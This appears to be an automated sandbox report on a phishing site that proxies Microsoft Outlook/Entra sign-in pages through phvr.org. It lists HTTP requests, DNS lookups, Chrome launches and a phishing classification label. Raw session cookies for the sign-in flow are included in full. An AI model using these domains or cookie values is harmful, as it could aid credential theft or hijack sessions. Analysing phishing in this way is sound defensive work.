Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: phvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: phvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: phvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: phvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1Host: phvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQEAAAApTwJmzXqdR4BN2miheQMYmRah8zLuxzyyKzUVOPvvP2p9wXCcRabDo2vaDDZE2qalj5wSl3TTzqnWElYiB6HS7E8BfqUZxNsL0rSrdqwAqSzwCO1sGQ4woaCqmkJTY6fDAs_6O4OXkRKuuvzQ_Dtrfqc1gt2Kzyo9zLVRPaH41yAA; fpc=AlWXWngi0U1FhCT5sIeZshCerOTJAQAAALC-F94OAAAA; brcap=0

Source: global traffic	DNS traffic detected: DNS query: ayssaless.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: phvr.org
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: ajax.aspnetcdn.com
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com
Source: global traffic	DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic	DNS traffic detected: DNS query: i.s-microsoft.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2803sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 874531de73a4462sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 21:50:11 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: OQZm1lmfv5lSFl5zkpd1mg==$PiuAopnlIF5uzjuwNnMDbA==Server: cloudflareCF-RAY: 89da16f6ee397c96-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 21:50:13 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: PpkbhAtHODhUaZvJKnVcOw==$jfPq2Z3HKzMfIT7FEA0L0A==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 89da17080b531a07-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 21:50:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: RcdQqNcCslN4/Tll6f19ww==$DYlEzP/PLzjtZx3UmPtPXQ==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 89da178e7ffcc330-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateSet-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponlyStrict-Transport-Security: max-age=31536000; includeSubDomainsP3P: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 0f7d1001-92e2-4a2d-b6d1-c30d9a200f00x-ms-ests-server: 2.1.18399.9 - NCUS ProdSlicesnel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.PReferrer-Policy: strict-origin-when-cross-originDate: Wed, 03 Jul 2024 21:50:40 GMTConnection: closeContent-Length: 0Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Source: chromecache_113.2.dr, chromecache_141.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_106.2.dr, chromecache_136.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_106.2.dr	String found in binary or memory: http://www.json.org/json2.js
Source: chromecache_106.2.dr, chromecache_136.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: chromecache_136.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_144.2.dr, chromecache_118.2.dr	String found in binary or memory: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css
Source: chromecache_106.2.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.analytics-web-2.min.js
Source: chromecache_100.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_100.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@22/109@38/7

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1852,i,12767476324253814656,13431870517047841025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ayssaless.com/?dybkhjzu"
